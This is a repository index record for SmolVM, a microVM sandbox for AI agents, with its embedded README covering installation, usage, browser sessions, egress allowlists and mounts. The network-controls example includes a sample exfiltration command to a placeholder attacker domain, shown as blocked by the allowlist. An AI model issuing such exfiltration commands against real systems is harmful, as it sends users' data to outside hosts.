{"id":44675889,"url":"https://github.com/celestoai/smolvm","last_synced_at":"2026-04-27T00:01:04.476Z","repository":{"id":338531985,"uuid":"1158200188","full_name":"CelestoAI/SmolVM","owner":"CelestoAI","description":"Open-source AI sandbox infrastructure for code execution, browser use, and AI agents.","archived":false,"fork":false,"pushed_at":"2026-04-22T03:06:56.000Z","size":1144,"stargazers_count":368,"open_issues_count":6,"forks_count":27,"subscribers_count":2,"default_branch":"main","last_synced_at":"2026-04-22T05:13:33.277Z","etag":null,"topics":["agent-runtime","browser-agent","browser-use","computer-use","openclaw","sandbox"],"latest_commit_sha":null,"homepage":"https://docs.celesto.ai/smolvm","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/CelestoAI.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2026-02-15T00:31:08.000Z","updated_at":"2026-04-22T03:07:00.000Z","dependencies_parsed_at":null,"dependency_job_id":"6691b87f-19c4-4650-bc4f-ccd94599ce9e","html_url":"https://github.com/CelestoAI/SmolVM","commit_stats":null,"previous_names":["celestoai/smolvm"],"tags_count":23,"template":false,"template_full_name":null,"purl":"pkg:github/CelestoAI/SmolVM","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CelestoAI%2FSmolVM","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CelestoAI%2FSmolVM/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CelestoAI%2FSmolVM/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CelestoAI%2FSmolVM/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/CelestoAI","download_url":"https://codeload.github.com/CelestoAI/SmolVM/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CelestoAI%2FSmolVM/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32317168,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-26T23:26:28.701Z","status":"ssl_error","status_checked_at":"2026-04-26T23:26:25.802Z","response_time":129,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent-runtime","browser-agent","browser-use","computer-use","openclaw","sandbox"],"created_at":"2026-02-15T03:06:24.542Z","updated_at":"2026-04-27T00:01:04.459Z","avatar_url":"https://github.com/CelestoAI.png","language":"Python","readme":"\u003cdiv align=\"center\"\u003e\n\n# SmolVM\n\n#### Secure, isolated computers that AI agents can use to browse, run code, and get real work done. \n\n\n\u003cimg src=\"https://ik.imagekit.io/gradsflow/celestoai/logo/celesto%20cover%20low_vFigbRaJI.png\"\u003e\n\n[![CodeQL](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql)\n[![Run Tests](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml)\n[![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)\n[![Python 3.10+](https://img.shields.io/badge/python-3.10+-orange.svg)](https://www.python.org/downloads/)\n\n[Quick start](#quickstart) • [Examples](#examples) • [Features](#features) • [Performance](#performance) • [Docs](https://docs.celesto.ai) • [Community Slack](https://join.slack.com/t/celestoai/shared_invite/zt-3qc7h8gno-Nb5_PElEWHDNnGqdVzC~4Q) \n\n\u003c/div\u003e\n\n---\n\nSmolVM gives AI agents their own disposable computer. \nEach microVM boots in milliseconds, runs any code or software you throw at it, keeps state when you need it, and vanishes when you don't — nothing touches your host.\n\n\n## Features\n\n- **Sub-second boot** — VMs ready in ~500 ms.\n- **Hardware isolation** — Stronger security than containers.\n- **Network controls** — Domain allowlists for egress filtering.\n- **Browser sessions** — Full browser agents can see and control.\n- **Host mounts** — Give sandboxes read access to local directories.\n- **Snapshots** — Save and restore VM state instantly.\n- **OpenClaw** — GUI Linux apps inside a sandbox.\n\n\n## Use cases\n\n- **Run untrusted code safely.** Execute AI-generated code in an isolated sandbox instead of on your machine.\n- **Give agents a browser.** Spin up a full browser session that agents can see and control in real time.\n- **Let agents read your project.** Mount a local directory so agents can explore your codebase inside a sandbox.\n- **Keep state across turns.** Reuse the same sandbox throughout a multi-step workflow.\n\n\n## Quickstart\n\nInstall SmolVM with a single command:\n\n```bash\ncurl -sSL https://celesto.ai/install.sh | bash\n```\n\nThis installs everything you need (including Python), configures your machine, and verifies the setup.\n\n\u003cdetails\u003e\n\u003csummary\u003eManual installation\u003c/summary\u003e\n\n```bash\npip install smolvm\nsmolvm setup\nsmolvm doctor\n```\n\nOn supported Linux and macOS systems, `pip install smolvm` also pulls in the matching `smolvm-core` wheel automatically. Most users do not need Rust installed.\n\nLinux may prompt for `sudo` during setup so it can install host dependencies and configure runtime permissions.\n\n\u003c/details\u003e\n\nFor golden-AMI builds, two-stage deploys, pinning the Firecracker version, and other non-default install paths, see [docs/installation.md](docs/installation.md).\n\n### Start a sandbox in Python\n\n```python\nfrom smolvm import SmolVM\n\nvm = SmolVM()\nresult = vm.run(\"echo 'Hello from the sandbox!'\")\nprint(result)\nvm.stop()\n```\n\n### Start a sandbox from the CLI\n\nCreate a sandbox, check that it's running, then stop it:\n\n```bash\nsmolvm create --name my-sandbox\n# my-sandbox  running  172.16.0.2\n\nsmolvm list\n# NAME         STATUS   IP\n# my-sandbox   running  172.16.0.2\n\nsmolvm stop my-sandbox\n```\n\nOpen a shell inside a running sandbox:\n\n```bash\nsmolvm ssh my-sandbox\n```\n\n\n## Browser sessions\n\nSmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.\n\nStart a browser session with a live view you can watch in your own browser:\n\n```bash\nsmolvm browser start --live\n# Session:   sess_a1b2c3\n# Live view: http://localhost:6080\n```\n\nOpen the URL to watch the browser in real time. When you're done, list and stop sessions:\n\n```bash\nsmolvm browser list\nsmolvm browser stop sess_a1b2c3\n```\n\nSee [examples/browser_session.py](examples/browser_session.py) for the Python equivalent.\n\n\n## Network controls\n\nBy default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing `internet_settings`:\n\n```python\nfrom smolvm import SmolVM\n\nvm = SmolVM(internet_settings={\n    \"allowed_domains\": [\"https://api.openai.com\"],\n})\n\nvm.run(\"curl https://api.openai.com/v1/models\")    # allowed\nvm.run(\"curl https://evil.com/exfiltrate\")         # blocked\n```\n\nSee [docs/concepts/network-egress-controls.md](docs/deep-dive/network-egress-controls.md) for how it works under the hood.\n\n\n## Mount host directories\n\nYou can give a sandbox read access to a folder on your machine. This is useful when an agent needs to work with an existing project without copying files back and forth.\n\n```bash\nsmolvm create --mount ~/Projects/my-app\nsmolvm ssh my-sandbox\nls /workspace   # your host files appear here\n```\n\nThe host folder is read-only — the sandbox can read every file, but changes stay inside the sandbox and never touch the originals. If the agent creates or edits files under `/workspace`, those changes live only in the VM's overlay layer.\n\nMount at a custom path, or mount multiple directories:\n\n```bash\nsmolvm create --mount ~/Projects/my-app:/code --mount ~/data:/mnt/data\n```\n\nThe same works from Python:\n\n```python\nfrom smolvm import SmolVM\n\nwith SmolVM(mounts=[\"~/Projects/my-app\"]) as vm:\n    result = vm.run(\"ls /workspace\")\n    print(result.stdout)\n```\n\n\u003e **Note:** This feature is read-only for now. Any changes you make inside the sandbox do not travel back to the host. Write-back support is planned for a future release.\n\n\n## Examples\n\n### Getting started\n\n| What you'll learn | Example |\n| --- | --- |\n| Run code in a sandbox | [quickstart_sandbox.py](examples/quickstart_sandbox.py) |\n| Start a browser session | [browser_session.py](examples/browser_session.py) |\n| Pass environment variables into a sandbox | [env_injection.py](examples/env_injection.py) |\n\n### Agent framework integrations\n\nThese examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.\n\n| Framework | Example |\n| --- | --- |\n| OpenAI Agents | [openai_agents_tool.py](examples/agent_tools/openai_agents_tool.py) |\n| LangChain | [langchain_tool.py](examples/agent_tools/langchain_tool.py) |\n| PydanticAI — shell tool | [pydanticai_tool.py](examples/agent_tools/pydanticai_tool.py) |\n| PydanticAI — reusable sandbox across turns | [pydanticai_reusable_tool.py](examples/agent_tools/pydanticai_reusable_tool.py) |\n| PydanticAI — browser automation | [pydanticai_agent_browser.py](examples/agent_tools/pydanticai_agent_browser.py) |\n| Computer use (click and type) | [computer_use_browser.py](examples/agent_tools/computer_use_browser.py) |\n\n### Advanced\n\n| What it does | Example |\n| --- | --- |\n| Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem | [openclaw.py](examples/openclaw.py) |\n\nEach script shows its own `pip install ...` line when it needs extra packages.\n\n\n## Security\n\nSmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See [SECURITY.md](SECURITY.md) for the full policy and scope.\n\n\n## Performance\n\nSmolVM ships a benchmark suite that measures the timings AI agents actually feel: cold start, time-to-interactive, pause/resume, and snapshot create/restore. It drives the public Python SDK on whichever backend is native to your host — Firecracker on Linux, QEMU on macOS.\n\nRun it locally:\n\n```bash\nuv run python scripts/benchmarks/bench.py\n```\n\nSee [scripts/benchmarks/README.md](scripts/benchmarks/README.md) for flags, output format, and what each metric means.\n\n\n\n## Contributing\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) to get started.\n\n\n## License\n\nApache 2.0 — see [LICENSE](LICENSE) for details.\n\n---\n\u003cdiv align=\"center\"\u003e\nBuilt with 🧡 in London by \u003ca href=\"https://celesto.ai\"\u003eCelesto AI\u003c/a\u003e\n\u003c/div\u003e\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcelestoai%2Fsmolvm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcelestoai%2Fsmolvm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcelestoai%2Fsmolvm/lists"}